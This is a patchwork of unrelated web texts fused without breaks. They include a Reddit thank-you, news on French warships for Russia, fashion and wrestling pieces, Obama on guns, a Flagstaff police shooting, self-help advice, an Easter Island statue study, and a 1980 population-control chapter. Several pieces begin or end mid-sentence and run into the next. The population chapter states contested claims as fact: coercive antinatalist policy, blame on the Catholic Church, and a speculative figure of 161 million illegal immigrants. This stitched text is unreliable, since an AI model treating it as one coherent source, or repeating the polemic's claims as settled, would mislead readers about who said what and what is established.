flashlight is also waterproof, has a nightlight on it, and it takes 3 AAA batteries instead of any of the more expensive batteries. Of course, the batteries in this flashlight last an extremely long time!! As a matter of fact, as many times as I've used the one from my Great Outdoors Santa, I still haven't had to replace those batteries.
I seriously can't thank Dallas enough for two very thoughtful gifts!! You not only made my day, but my entire week! Every time I use my new gloves and my new flashlight (for years to come, I'm sure) I'll be thinking about the you (the kind and wonderful Redditor) who gifted them to me.
THANK YOU VERY MUCH!!! You're the best!!By Stacy Meichtry
As European capitals weigh policy options for punishing Moscow’s march on Ukraine — an arms embargo was considered by European Union foreign ministers in Brussels Monday, but not agreed — there is little appetite in France for broader economic sanctions that would upend trade with Russia.
Case in point: France is on schedule to deliver two Mistral carriers, valued at €1.4 billion, to the Russian Navy. The first Mistral—a high-tech amphibious assault ship capable of deploying helicopters and tanks—is due to arrive in Russia by the end of the year, according to DCNS, the French firm building the vessels.
Asked Monday whether Moscow’s incursion in Ukraine’s Russian-speaking Crimea region was forcing Paris to rethink its trade ties, French Foreign Minister Laurent Fabius said: “We’re not there. For the moment, we are trying to stop Russia’s mobilization in Ukraine and establish a dialogue.”VIKTOR & ROLF will return to the Paris haute couture schedule in July. It has been 13 years since the Dutch designer pair last created a couture collection.
The Chambre Syndicale - the French governing body of designers - voted in favour of the fashion house returning as a member of the couture calendar at a meeting held on April 22. Little is yet known about the label's comeback, and it remains to be seen as to whether the duo will host a full-scale catwalk show or a smaller, more intimate presentation.
The label was a fixture on the Paris couture schedule between January 1998 and July 2000. Designers Viktor Horsting and Rolf Snoeren are renowned for their complex fantastical designs and often theatrical shows - emphasised even more so on a couture catwalk - and count Jennifer Lawrence, Doutzen Kroes and Jessica Chastain among their celebrity fans.Trish Stratus is undoubtedly a superstar in the worlds of fitness and entertainment. She’s a seven-time Women’s Champion, a member of the WWE Hall of Fame and one of the most popular and beloved names in WWE history. On top of that, she has taken her passion for fitness and yoga and put out countless DVDs, fitness products, guides, YouTube videos and much more! (All available on her massive website: TrishStratus.com) And much like John Cena and Dave Bautista as of late, she’s taking her box office appeal from the ring onto the big screen with the action film, Gridlocked!
I sat down with Trish to get caught up on all the recent happenings, and of course reflect on some of her best memories in the WWE. She’s also been keeping an eye on the women who have made a huge impact on NXT and has a lot to say about them. (And the vision that Triple H has for the future as well!)
So you’ve been making appearances with Lita as of late at various events. But going way back, what was your first impression of her when you two met?
We were both brand new to the WWE. We knew we were coming into this crazy world together and we were both nervous. We met each other over the phone actually as I was waiting for my Visa to be processed before I could enter the US for work. We came into WWE at the same time knowing there was not really a place for women in the current landscape as far as wrestling went. We were in a unique spot where we were there for the beginning of it all. Though we were nervous to be in this world, we luckily connected and had one another to support each other because we realized that this was a great opportunity we were being given. We hit it off right away. They saw the chemistry between us and thought that would translate really well in ring. And it did. The fans got really into it. There was a rivalry from the beginning. Once Lita and Trish were in the ring, it was on.
How did you feel about her unique look?
I always thought she had a great look – her ‘character’ so to speak, had a great look. And when I say ‘character’, I mean her whole package – from her outfits to her moveset and her matching attitude – it was all great. And the fans loved it too. I’ve always felt that it was our responsibility of the Superstars to present a package to help define the identity of our character. She nailed that right from the beginning.
Throughout the last few years, you were both involved with Tough Enough on separate seasons. Have you two gotten a chance to reflect on your Tough Enough experiences? What did you both agree you took out of it?
We did exchange some thoughts. We both were feeling like that came at a good time for us, we were excited about the idea of passing on some of the knowledge we had gained from being in the business for so long. We both enjoyed the opportunity to work with and develop some of the up and coming talent and potential future Superstars.
While you two engaged in feuds throughout the years with different storylines, which way did you prefer who was the face and who was the heel?
I think our funnest work from my perspective was probably when I was heel as she was a babyface. It was when I was making fun of her during the pregnancy, the Kane angle – well, recalling that now – I think it was more fun for me than her during that time. I had a lot of fun with the Trish Stratus character during that time as I was exploring my new found ‘bitch’ role. When she finally broke out of that pregnant victim role, we got to see the Lita attitude back on. That was good stuff between us. I also like what was going on when Carlito and I were aligned and her and Edge were a couple. She was a pretty good bitch as well. We had so many angles and I guess years in the WWE, there were even times when we were on the same team for brief moments. When she came back from injury, we were together. We teamed up when WCW and WWE went against each other. We’ve had all different variations of facing each other and it’s worked |
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"And I think those who dismiss that out of hand make a big mistake".
Mr Obama's plans for tighter firearms regulations were drawn up by Joe Biden, his vice-president, following the massacre of 26 people, including 20 young pupils at a primary school in Connecticut last month.
Mr Biden – whose proposals also include a background check system on all Americans trying to buy guns and a 10-shot limit for ammunition clips – has been quick to note that he owns a shotgun.
The president, however, rarely speaks personally about firearms, and is dismissed by many enthusiasts as an elite urban law professor who does not appreciate America's heritage of gun ownership.
He accepted in his interview that gun culture in rural areas was "very different" to that in urban areas, such as his home town of Chicago, where it is more frequently linked to serious crime.
"If you grew up and your dad gave you a hunting rifle when you were 10, and you went out and spent the day with him and your uncles, and that became part of your family's traditions, you can see why you'd be pretty protective of that," Mr Obama told The New Republic.
He made clear, however, that his daughters Sasha, 11, and Malia, 14, did not join the clay-pigeon shooting parties at Camp David, in rural Maryland.
A week before the Super Bowl, the most keenly-awaited event in the US sporting calendar, the president risked further angering the heartland by expressing concern about the safety of American football.
Several high-profile professional players have in recent years developed brain damage, which has been linked to the frequent heavy impacts on their skulls caused by the sport.
"I'm a big football fan, but I have to tell you if I had a son, I'd have to think long and hard before I let him play football," said Mr Obama.There's no way around it - the Dallas Cowboys are known for their poor performances in the final month of the season. Fair or not, much of the blame is usually directed toward the quarterback, Tony Romo.
There are allegations that team owner/GM Jerry Jones called Romo out on his performances in December. Despite that, Jones publicly said he believes Romo has played well the last two seasons, and isn't the only reason the team hasn't made it as far as they hoped to. Jones said the Cowboys defensively weren't where they wanted to be this time last season, but he believes they are now.
As they face the dreaded December, there are some things the Cowboys should and shouldn't do...
DO: Perform well through all four quarters.
DO NOT: Lose momentum after the first half.
Recently, Dallas has done a pretty good job at keeping the pace and playing through entire games, but over the past decade they've been known to struggle in the fourth quarter. If they want to reach the playoffs on a high note, they'll need to play well for four quarters every time they take the field.
DO: Use ALL your weapons.
DO NOT: Rely on only Dez Bryant.
Bryant dominates the field and is often the go-to guy, but DeMarco Murray, Miles Austin and Jason Witten can be serious playmakers when given the opportunity. Relying too heavily on Bryant makes things too easy for opposing defenses.
DO: Let go of mistakes.
DO NOT: Let turnovers effect the next play going forward.
The Cowboys' offense gets shaken up too easily when they make mistakes. Whether it's Tony Romo throwing an interception or someone else putting the ball on the ground, they need to have short memories and not let mistakes affect their confidence.
DO: Play aggressive defense.
DO NOT: Let opponents take control of the game.
Sean Lee is returning this weekend, which should transform the Dallas defense. DeMarcus Ware says he's over his injury problems and back at full strength. The Cowboys D must put pressure on the remaining quarterbacks they'll face and force some turnovers to help out Tony Romo and the offense.
For Tony Romo:
DO: Play like you have all season, and lead your team to the playoffs.
DO NOT: Give critics the opportunity to blame a Dallas meltdown on you.
Fans:
DO: Trust Romo.
DO NOT: Think negative, and believe the Cowboys will fail this December.
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More by Tatum WoodsA still from the body camera of Officer Tyler Stewart, released by Flagstaff Police Department, showing shooting suspect Robert Smith, according to police. (Photo: Flagstaff Police Department)
Video captured from the video camera worn by Flagstaff police Officer Tyler Jacob Stewart shows the conversation between the rookie officer and shooting suspect Robert William Smith before it turned into a deadly confrontation.
The camera stops in the instant before Smith reportedly shot and killed Stewart outside a Flagstaff home on Dec. 27.
EDITOR'S NOTE: The video below is graphic and may not be something you want to see. It was released by Flagstaff Police honoring a public records request by media, including azcentral, The Arizona Republic and 12 News. The video will be part of the ongoing discussion about safety for officers and for the people they encounter, which is why we think it is newsworthy.
CLOSE Video shows killer was calm before he fired six shots at rookie cop.
Smith and Stewart were about to walk out the backdoor when Smith returned to his bedroom and emerged with his right hand stuffed in his jacket pocket, according to police reports. Stewart asked Smith if he was carrying any weapons as they walked outside, which Smith denied, records show.
Officer Tyler Stewart (Photo: Flagstaff Police Department)
WHAT YOU NEED TO KNOW: 5 facts about police body cameras
The men spoke calmly for about three minutes, before Stewart asked to search Smith. Smith told Stewart the only thing in his pockets were "smokes," according to the police report.
When Stewart reached for Smith's jacket pocket, Smith turned, pulled out a.22 caliber revolver and quickly fired six shots, records show. Five bullets hit Stewart, including four in the head. The sixth bullet entered Smith's home, ricocheted off the refrigerator and a wall before it ended up lodged in the kitchen tile.
Audio from Stewart's body camera recorded a seventh shot about 10 seconds later, records show. Investigators found a.40 caliber casing — the same brand and caliber of ammunition used by Flagstaff police — near Smith's body.
CLOSE GRAPHIC: Raw video from Flagstaff Officer Tyler Stewart's body camera released to media.
Stewart, 24, was a rookie with less than one year experience with Flagstaff police when he was killed Dec. 27. Investigators used footage from Stewart's body camera to piece together what happened at about 1:30 p.m. in an alley near Clay Avenue and Globe Street, not far from Northern Arizona University in one of Flagstaff's oldest neighborhoods.
RELATED : Arpaio gives $25K to fallen Flagstaff police officer's family
Robert William Smith (Photo: Flagstaff Police Department)
But it was a mid-morning argument between Smith, 28, and his girlfriend over unwashed dishes that set in motion a chain of events that led to Stewart's shooting, records show. Smith's girlfriend called police after he reportedly tore down curtain rods in her apartment, damaged the refrigerator, knocked things over and spilled nail polish in her bedroom, according to records.
911 TAPES: Suspect called police before shooting Flagstaff officer
Stewart was first dispatched to the apartment where the argument took place at about 11 a.m., that Saturday records show. Smith was already gone because the woman had driven him home after the argument. Stewart then drove the woman through Flagstaff so she could show him where Smith lived before Stewart took her back home, according to the police report.
Stewart returned to Smith's house, but Smith's roommate told the rookie officer that Smith had fled out the back door. Stewart left and called his father, Sgt. Frank Stewart of the Arizona Department of Public Safety, and asked questions about when he could enter someone's home without a search warrant, records show.
At about 12:30 p.m., Smith called Flagstaff police and left a message for Stewart, records show. Stewart called him back and drove to back to Smith's house shortly after 1 p.m. where Smith's roommate answered and called for Smith to walk out of his bedroom.
Read or Share this story: http://azc.cc/1BYjSXDHave you ever been excited about making a change in your life … only to feel completely deflated by someone’s reaction?
Or have you ever faced a difficult change … and had it made worse by someone else’s reaction?
The people around us – friends, family, colleagues – aren’t always as supportive as we might wish, especially in times of change. They might offer lots of advice – you know they mean well, but it drives you crazy. They might be very negative about the change, telling you it’ll never work out – and that’s often the last thing you need.
There’s no one-size-fits-all solution to this: you can’t make the people around you respond to your news in just the way you’d like. You can, however, ensure that you’re emotionally prepared for a potentially not-so-great reaction … and you can control the manner in which you deliver the news.
When the Change May Take Some Time
If you’re embarking on a change that’s inevitably going to take some time, you may want to think about who best to tell in the early stages.
For instance, if you’re starting a new diet, you might prefer not to tell all your friends, family and colleagues – as you may get unhelpful comments. (Anything from “Oh, you don’t need to diet!” to “I’ll believe it when I see it.”)
Of course, some people do find that social support and accountability helps – but you may want to build your confidence by waiting until your diet is established before confiding in anyone beyond close friends and family.
The same applies to other time-consuming changes, especially ones that may not be fully under your control. If you and your partner are trying for a baby, for instance, you might not want to tell anyone at all – that way, you won’t have constant enquiries of “Any news yet?”
Remember: You are in control of when you choose to talk about a change. Try to pick a good time to tell people, perhaps once you’re feeling confident and strong.
When the Change May Provoke Disapproval
Sometimes, you just know that certain relatives, friends, or colleagues are going to try to talk you out of a change – or tell you that you’re being stupid.
Some lifestyle changes can provoke strong reactions. Perhaps you’re getting divorced, and you think some of your relatives will be angry or upset. Maybe you’re quitting your job in order to become self-employed, and you suspect that your friends won’t understand.
It’s normally up to you whether or not you tell people about a specific change, but there’ll be some circumstances where you don’t really have a choice.If you’re getting divorced, for instance, your immediate family and social circle are going to know about it sooner or later.
Something you will find, though, is that people don’t always react the way you expect! Your curmudgeonly aunt might prove a sudden bastion of support. Your high-earning friend might confess a desire to also leave the rat-race.
Remember: You can’t live your life to please other people, so don’t be too anxious about negative reactions. You may well find that you’ve magnified the worries in your own head – some people will be more supportive and encouraging than you expect.
When the Change Isn’t Under Your Control
Sometimes, you’ll have a change forced upon you. Perhaps you’ve been made redundant at work, or you’ve discovered that you’re facing a health issue. You might well feel anxious, angry, upset … but you may also be trying to focus on positives.
Telling people may, in some cases, make you feel worse about the change. Perhaps you’ve decided to make the best of redundancy, for instance, finally pursuing the career of your dreams … only for your relatives to talk as though it’s the end of the world.
Think in advance about how you want to frame the change. Saying “I’ve been feeling very anxious about…” is going to make the whole thing seem negative. You might want to start instead with the bare facts – “I’ve been made redundant” – and then follow this with something positive, like “Even though it means money will be a bit tight, this is actually a blessing in disguise – I’ve been thinking about a career change for a while.”
Remember: By being positive, even in difficult circumstances, you’re giving a cue to other people to respond the same way. If you’re worried about getting upset or angry when you talk about a difficult change, consider telling people in writing, or asking a mutual friend to pass on the news.
What changes are you facing right now? Are you anxious about telling people – or telling a particular person? If you’d like some support, or if you’d like to share your experiences, just leave a comment below.
Photo by mikebairdJames Miles, Hembo Pagi and Dr Graeme Earl from the Archaeological Computing Research Group at the University of Southampton teamed up with archaeologist and editor of British Archaeology Mike Pitts to examine the statue at the Wellcome Trust Gallery in the British Museum, London.
Dr Earl explains: “The Hoa Hakananai’a statue has rarely been studied at first hand by archaeologists, but developments in digital imaging technology have now allowed us to examine it in unprecedented detail.”
Hoa Hakananai’a was brought to England in 1869 by the crew of HMS Topaze. It is traditionally said to have been carved around AD1200. The Island is home to around 1,000 similar statues, but Hoa Hakananai’a is of particular interest because of the intricate carvings on its back.
Easter Island statue
It is popularly believed that around AD1600 the Easter Islanders faced an ecological crisis and stopped worshipping their iconic statues. The Rapa Nui, as they are known, turned instead to a new birdman religion, or cult. This included a ritual based around collecting the first egg of migrating terns from a nearby islet, Motu Nui. The ‘winner’, whose representative swam to the islet and then back with the egg, was afforded sacred status for a year.
Hoa Hakananai’a survived this shift in religious beliefs by being placed in a stone hut and covered in carved ‘petroglyphs’, or rock engravings, depicting motifs from the birdman cult. As such, it may be representative of the transition from the cult of statues to the cult of the birdman.
The team from the University of Southampton examined Hoa Hakananai’a using two different techniques: Photogrammetric Modelling; which involved taking hundreds of photos from different angles to produce a fully textured computer model of the statue, capable of being rotated in 360 degrees; and Reflectance Transformation Imaging; a process which allows a virtual light source to be moved across the surface of a digital image of the statue, using the difference between light and shadow to highlight never-seen-before details.
James Miles, a PhD student at Southampton, comments: “Despite the wonders of modern technology, creating accurate, detailed geometric models of these kinds of complex surfaces remains a painstaking task. We have more work to do but the virtual versions already provide a more interactive way of studying Hoa Hakananai’a.”
Using these techniques, Mike Pitts and the team made some fascinating discoveries, perhaps the most significant being the apparently simple recognition that a carved bird beak is short and round, not long and pointed as previously described: this allowed the two birdmen on the back to be marked as male and female, unlocking a narrative story to the whole composition relating to Easter Island’s unique birdman cult. They also realised that the statue is one of the few on Easter Island that did not stand on a platform beside the shore. It is now believed to have always stood in the ground, where it was found, on top of a 300 metre cliff.
Mike comments: “Study of the tapering base suggests that rather than being the result of thinning to make it fit into a pit, as often suggested, it is more likely part of the original boulder or outcrop from which it was carved. This may also explain why, as we now see it in the British Museum, it appears to lean slightly to the left – its uneven end resulted in its being incorrectly set into its 19th century plinth.”
Other observations from the digital imaging include:
When it was half-buried by soil and food debris, small designs known as komari, representing female genitalia, were carved on the back of the head.
At a later date, the whole of the back was covered with a scene showing a male chick leaving the nest, watched by its half-bird, half-human parents – the story at the heart of the birdman ceremony, recorded in the 19th and early 20th centuries.
A round beak on the right birdman in the scene described above. This can be read as a sign of female gender, and confirmation of the male / female bird ‘parents’. The female birdman is matched by the female komari on the right ear of the statue, and the male on the left by a paddle on the left ear – a symbol of male authority.
A rounded shape near the lower part of the right birdman, possibly the egg the male chick hatched from. Another possibility is the ring clutched in the two birdmen’s arms has been re-imagined as an egg.
Faint indications of fingers around the navel, which may have once been more prominent, but later removed.
It’s hoped the imaging carried out by the University of Southampton’s Archaeological Computing Research Group will open new debate on the significance of the engravings of Hoa Hakananai’a on display at the British Museum, which is visited by some six million people every year.
The statue recently featured in the BBC and British Museum project History of the World in 100 Objects. More details can be found here: http://www.bbc.co.uk/ahistoryoftheworld/objects/qV6Cpj1ITza54IbC7uij6Q
To find out more about this project visit:
Archaeological Computing Research Group, University of Southampton
http://acrg.soton.ac.uk/blog/3169/
British Archaeology Magazine
http://www.britisharchaeology.org/ba130By Stephen D. Mumford, DrPH | 16 March 2015
Church and State
Adapted from chapter 1 of our chairman Dr. Stephen D. Mumford’s book, American Democracy and the Vatican: Population Growth and National Security (1984). The book is available at Kindle here, and is available to read for free here.
Chapter 1: Population Growth and Global Security: Toward an American Strategic Commitment
Prefatory Note
As the year 2000 approaches, the nightmares of overpopulation, widespread famine and disease, and an exhaustive depletion of our natural resources are quickly becoming realities. The Center for Strategic and International Studies’s population studies program, long cognizant of these dangers, has been involved in a project addressing some sensitive and complex political questions surrounding international population growth control efforts. We are convinced that global population growth issues should be concerns of national security decision makers and we are perplexed by the government’s deliberateness in not acknowledging this basic relationship.
With this fifth CSIS Note published within the framework of the Population Policy Roundtable, Dr. Stephen Mumford has written a monograph certain to incite controversy. CSIS clearly does not subscribe to every position taken in it; however, by placing demographic growth, global security, and American strategic interests on the same continuum, the author has produced a unique analysis of the population problem. He attacks the problem by highlighting three crucial areas for consideration: the relationship between population growth control and national security issues, the role of American leadership in resolving the problem, and the barriers to effective action—most notably, the anachronistic tenets of the Roman Catholic Church with regard to abortion and contraception. Dr. Mumford stresses the need for global cooperation and commitment if the problem is to be arrested, and he urges the United States to assume the responsibility of leading other countries in the fight to control population growth.
The recently published Global 2000 Report to the President concurs with many of Dr. Mumford’s conclusions. It recognizes the “progressive degradation and impoverishment of the earth’s natural resource base” and the need for international cooperation. And like Dr. Mumford’s monograph, the Global 2000 Report realizes the political impact that an uncontrolled population growth would have on the relationship between industrialized nations and less developed countries (LOCs) where the greatest growth rates occur. In this modern political system of interdependence, the fates of both industrialized nations and LOCs are inextricably linked.
Dr. Mumford has held the position of scientist at the International Fertility Research Program (IFRP) since 1977, where he is primarily responsible for the development of surgical contraception research strategies. He has a degree in agriculture from the University of Kentucky and was later commissioned in the Army Medical Service Corps, leaving active duty with the rank of captain. During a tour of duty in Asia, he first recognized the linkage between political stability and population pressures. He obtained his doctorate in population studies from the University of Texas. Dr. Mumford is the author of Population Growth Control: The Next Move is America’s (New York: Philosophical Library, Inc., 1977) and has written several other books and articles on the biomedical and social aspects of family planning. In 1978, he testified before the House Select Committee on Population on the topic of world population growth as a national security threat.
There is indisputable need to re-examine current population policies and to investigate alternative solutions to this potentially devastating problem.
Georges A. Fauriol
Population Studies
Third World Program
Center for Strategic and International Studies
Georgetown University
August 1980
Introduction
In the past three decades, a new threat to international and domestic security has emerged: uncontrolled world population movements, compounded by a global natural resource interdependence. If current growth rates continue, the inevitability of widespread social and political instability by the year 2000 makes population growth the most serious threat—a threat more often recognized than acknowledged. Widespread acknowledgment and a corresponding political, moral, and economic commitment are essential if this strategic threat to world peace is to be countered. Yet, although some of our nation’s finest minds have acknowledged the profound security implications of population growth over the past six years, they remain no more than a handful. Key factors delaying the appropriate commitment are the desire to avoid: (1) thinking about the gravity of the world predicament; (2) the issues of abortion and teenage childbearing; (3) confrontation with pronatalist organizations; and, most significant, (4) confrontation with the hierarchy of the Roman Catholic Church.
The Catholic Church has exerted great influence on U.S. policy in population matters as a result of its intimidation of elected officials and the built-in reverence most Americans have for an ecclesiastical hierarchy. The teachings of the Church and its hierarchy’s insistence that these teachings be followed have resulted in an unintentional suppression of the substantial knowledge about the consequences of overpopulation. The main source of energy, organization, and direction for the anti-abortion movement in the United States and the movement to frustrate enforcement of U.S. immigration laws is the Roman Catholic Church. Ultimately, either humankind or nature will sharply limit population growth—preferably, it will be humankind.
The current world population growth control effort is essentially ineffective. If we are to reverse this trend, the United States must overcome the formidable obstacle that the Catholic hierarchy presents and accept a new leadership role. I suggest that the United States is the only nation capable of successfully surmounting this obstacle.
Redefining National Security
Americans would like to forget that their national security is the foundation for the freedoms and privileges that they cherish. Freedom of political activity, of personal expression, and of the press cannot be realized in the absence of national security. But what do we mean by that? Two decades ago, Arnold Wolfers characterized national security as an ambiguous symbol fraught with semantic and definitional problems. The last quarter of the twentieth century has brought home the realization that threats can no longer be defined solely in terms of armies and the sophistication of their military hardware. It has become increasingly apparent that to the long-standing interest in military affairs and a defense policy must be added topics that affect national security in less obvious but increasingly important ways: energy resources, availability of industrial raw materials, the diffusion of military technology, chronic unemployment, and food production. In this rapidly changing environment, one overwhelming factor underlying these issues remains: global population growth.
Two of the most significant changes in history have occurred since 1945. The first is a drastic decrease in worldwide death rates without a concomitant decrease in birth rates. The second is the sharply increased dependence of affluent nations upon the less affluent nations as suppliers of industrial raw materials.
The world added a fourth billion to its population in a mere fifteen years (1960-1975), and from 1976 to 2000 it will add an additional 2.5 billion. To avert catastrophic food shortages, world food production must increase by 43 percent in the next two decades.*1 This will not occur automatically. Many agriculturists believe a 20 percent increase in food production is a more realistic hope—one percent per year. If we have only a 20 percent increase in food production in the next twenty years, we will have a shortfall equal to the total food requirements of one billion people—one-third of the world’s presently underfed developing world population beyond the existing (1980) shortfall. The International Food Policy Research Institute predicts that even by 1990 the world food deficit will be 120 to 140 million metric tons per year*2—the total food requirements of 660 to 770 million people calculated using the current Indian average of 400 pounds of grain per capita per year. The realistic possibility that hunger may cause widespread disruption of social organization makes world population growth a serious security issue.
Ninety percent of the world’s population growth occurs in the developing world, where growth rates are 2 percent or more per year.*3 It is in the countries of the developing world that the disparity between food production and population growth is the greatest. Hunger-induced social disorganization will cause some nations to lose their domestic stability and internal cohesion. As the security of a nation slips away, surrounding nations will have to be concerned not only with their own diminishing per capita food production but also with the migration of hungry people from neighboring countries. Alternatively, a weakened social fabric may easily result in incremental decreases in food supplies. A catastrophic spiral is thereby set in motion.
Witness Cambodia. Initially, the Pol Pot government deliberately took steps to destroy the existing social organization. Fewer crops were planted, harvested, and distributed; the result was great hunger. Continuing civil strife further reduced food production, and hunger became more widespread. Then, hunger itself hastened social disorganization; both contributed to increased civil strife and damaged the infrastructure of the agricultural system. With each growing season, fewer and fewer crops were planted and hunger increased. Seed stocks were eaten, and fuel needed for food production became less available; draft animals and breeding stocks were slaughtered. By 1979, only a small portion of the food produced just five years earlier was harvested. Social organization has been completely shattered. The millions of deaths due to starvation and the large number of violent deaths are direct results of the destruction of social organization. Hunger did not initiate the devastation in Cambodia, but it has obviously exacerbated its impact.
One of the most significant changes in history is the sharply increased dependence of affluent, developed nations upon the less affluent, developing nations for a steady supply of industrialized raw materials. Modern industry requires steady supplies of aluminum, chromium, copper, iron, lead, manganese, nickel, phosphorus, potassium, sulfur, tin, tungsten, and zinc. Out of thirty-six basic raw materials, the United States is now self-sufficient in only ten and is dependent upon foreign sources for increasing percentages of the other twenty-six.*4 In 1979, the U.S. Bureau of Mines released the following figures, which show just how dependent America has become:
Ninety-nine percent of all platinum comes from South Africa, U.S.S.R., and Canada; 90 percent of all cobalt from Zaire, Zambia, Canada, and Morocco; 78 percent of all manganese from South Africa, Gabon, Brazil, and Australia; 70 percent of all chromium from U.S.S.R., South Africa, Rhodesia (Zimbabwe), and the Philippines; 65 percent of all tin from Malaysia, U.S.S.R., China, and Italy; and 64 percent of all bauxite from Australia, Jamaica, Guinea, and Surinam.*5
In addition, the importance of an uninterrupted supply of petroleum has become evident to all.
It is obvious that political instability in raw-material exporting countries will affect their ability to satisfy the increasing demands of the developed world. Accessibility to these resources can no longer be assumed. A sharp reduction in the flow of essential industrial raw materials to the developed world will have a devastating effect on its industrial systems. Furthermore, the battle is on among the industrialized nations to establish adequate strategic raw material reserves.
The European nations have shown much more concern for securing supplies of strategic materials. West Germany is the leader of the movement with respect to volume, but France has also been quietly stockpiling raw materials since 1975. Emphasis is placed on secrecy. A sharp decline in the import of an essential material can have a devastating effect. For example, a West German government-sponsored report recently noted that a 30 percent decline in chrome imports over one year could cut the country’s entire gross national product by 25 percent because of repercussions in the automobile, aircraft, and defense industries, which depend upon the metal to strengthen steel, among other things.*6
The United States, in the face of sharp reductions in imports of essential industrial raw materials, could realistically expect an urban unemployment/underemployment rate of 30 to 40 percent (rates typical in the developing world today).*7 An unemployment/under-employment rate of this magnitude in American cities, where expectations are high, would impose a direct threat to the nation’s stability.
There are two complicating factors. The first is the threat to U.S. agricultural production capacities. American agriculture enjoys its high productivity, in great part, as a result of the considerable industrial input into the agricultural system. For example, a single farm in the Midwest depends on thousands of chemicals, tools, and pieces of machinery to bring a single crop to the marketplace. Input from the industrial sector is made at every step in the process, from the preparation of hybrid seed to the packaging of the product for supermarket shelves. There are approximately four industrial laborers working to support a single farmer.*8 If our industrial system is severely damaged by the curtailment of raw material imports, our highly industrialized agricultural system would be severely damaged and agricultural production would drop sharply; just how sharply is difficult to predict, but shorter food supplies in the United States would be inevitable.
The second complicating factor is a potential massive influx of illegal immigrants into the United States. A crude estimate is that the number of illegal immigrants during the next twenty years could reach 161 million (see, chapter two). The “boat people” of Indochina are just the first glimmer of what is to come. Even today the boat people of Haiti are landing in southern Florida where more than 25,000 already reside; one-half of this number landing in 1980 alone. More than 110,000 illegal aliens from Cuba, over one percent of the population of that island, were deposited on Florida shores in a seven-week period beginning April 1980.*9
This great migration is bound to have a profound impact on the American socioeconomic environment and is already being felt among the weakest links of our society: the minorities. Managing the domestic impact while minimizing the problems caused by the influx of other migrants will require a considerable investment. Even at the low cost of $1,000 each, the apprehension, detention, processing, and deportation of some 161 million illegal aliens could in theory reach an astounding $161 billion. In these pressures lie the dangers of widespread terrorism, crime against persons and property at a higher rate than now believed possible, and, ultimately, societal disintegration. In comparison, the possibility of a conventional armed attack from the Soviet Union becomes a threat of lesser importance.
Acknowledging the Problem: American Leadership
An acknowledgment that world population growth is a serious threat to the security of all nations, including the United States, is essential if the population problem is to be dealt with successfully. Massive assistance in a population control effort should not be just at the expense of the people of the developing world; rather, it is in everyone’s self-interest to achieve mutual benefits.
Norman Borlaug, father of the green revolution, never looked to his revolution as the solution to the food problem. Rather, he felt that it would buy perhaps an additional fifteen or twenty years, during which the brakes could be applied to population growth.*10 The year 1968 marked the beginning of his revolution. Twelve of those years have now passed, and we have essentially wasted this purchase. In fact, the total impact of the deliberate attempts of governments, excluding China, to achieve population growth control has postponed the scenario described above for only a matter of months. To gain twelve months, population growth control efforts would have to prevent eighty million births—a number that has taken us more than ten years to achieve.*11 Obviously, the present approach is just not working.
Reason dictates that we do not attempt to manage this problem with less than an adequate commitment, and only after world population growth is acknowledged by the United States and other countries to be a serious security threat will adequate allocations be forthcoming and a solution attainable. The United States made the political, moral, and economic commitment to win World War II. Today, it allocates more than one-fourth of its defense budget each year specifically to counter the Russian threat.*12 Arresting population growth requires an enormous effort and a highly complex solution. The exact cost is unknown, but costs comparable to those expended by the United States and the U.S.S.R. to counter the perceived threats to their respective national security cannot be discounted.
The United States has as much at stake as any other nation if the current laissez faire approach to the solution of this extremely complex problem continues. Most countries, expecting the United States to be the leader, have delegated responsibility to us. If the United States does not accept the challenge, the year 2000 will find a world with a billion or more people than it would have had otherwise.
In general, the United States should adopt laws and policies similar to or similar in effect to those of Hong Kong, Singapore, and the People’s Republic of China. Unfortunately, few, if any, nations will follow these governments in the elimination of pronatalist laws and policies and in the institution of antinatalist ones. However, many countries would follow the United States if it boldly instituted these changes.
Pronatalist forces, who encourage births, must be stopped. We must adopt the antinatalist policies that we are suggesting for rapidly growing developing countries. All government policies and laws encouraging childbirth must be changed. All tax incentives for having children must be eliminated, as well as any remaining welfare incentives. Teenage childbearing must be eliminated, and childbearing before the mid-twenties strongly discouraged to lengthen the time between generations. Childless and one-child families must be encouraged.
Leadership is unquestionably the most important component of the world population growth control effort; providing resources or research and development is of far less importance. At this juncture, the United Nations is in no position to provide this leadership. The United Nations possesses neither the influence nor the organizational capacity to do so, nor could leadership be delegated or acquired in some way. We must acknowledge that the United States, with its growing dependence on developing countries, industrialized agriculture, and vulnerability to massive illegal immigration, is as much in jeopardy as any other country. Without this American commitment, the attempt to control population growth will continue to founder, no matter how extensive the research or how great the expenditure.
Taking a Stand
Why has there not been an appropriate government response to global population pressures? Perhaps acknowledgment of the issue must be much more widespread before action by leaders can be expected. An extensive search of the literature indicates that one of the first persons to go on record in this regard was World Population Society founder Dr. Charles Cargill. Cargill emphasized the relationship between national security and population at the first annual meeting of the World Population Society in February 1974 and repeated the point to many groups, including the House Select Committee on Population in 1978.
In 1976, former Assistant Secretary of State George W. Ball referred to demographic pressures in his book, Diplomacy for a Crowded World. In April 1977, World Bank President Robert McNamara underlined the importance of the problem in an address to the Massachusetts Institute of Technology. About this same time, former director of the Central Intelligence Agency William Colby made the same avowal in a television news interview and has since reiterated his belief that world population growth is the most serious threat to U.S. security.*13 Lester Brown, ecologist and president of the Worldwatch Institute, has emphasized the salience of population growth factors in his treatise, “Redefining National Security.” In December 1977, Dr. Zbigniew Brzezinski, national security advisor, referred to these pressures in a press briefing. The same year, former HEW Deputy Assistant Secretary Dr. Louis Hellman recognized the problem in a statement entitled “The U.S. Role in Resolving the World Population Problem,” prepared at the request of President Carter.*14 In February 1978, Ambassador Marshall Green, then coordinator of population affairs, U.S. Department of State, outlined its significance in testimony before the House Select Committee on Population. Retired Army General Maxwell Taylor acknowledged the threat before the same committee in April 1978. In July 1978, former Ohio Governor John J. Gilligan, at that time director of the Agency for International Development (AID), declared world population growth to be a national security threat before the National Press Club. More recently in December 1979, the president’s twenty-member Commission on World Hunger did give some recognition to the threat in their final report.*15 Ambassador Richard Benedick, coordinator of population affairs at the State Department, has made a forceful plea for greater efforts to deal with these threats in an address to the Members of Congress for Peace through Law.
The people listed above represent many careers and political persuasions. This is but a small group of individuals. Ironically enough, there is a conspicuous absence of demographers, the recognized population experts who tend to lead American thought on matters of population. No perceptible government action has yet occurred as a result of these statements. To date, not a single major organization in America has come out and supported these tough positions. Why aren’t more individuals and institutions more courageous in doing so?
Barriers to Effective Action
1. Desire to avoid the issue of abortion. Abortion is an issue that only extremists are comfortable in discussing; there is little room for the middle-of-the-roaders: neutrality invites the enmity of both extremes |
live in it. When it comes to discounts anyway.
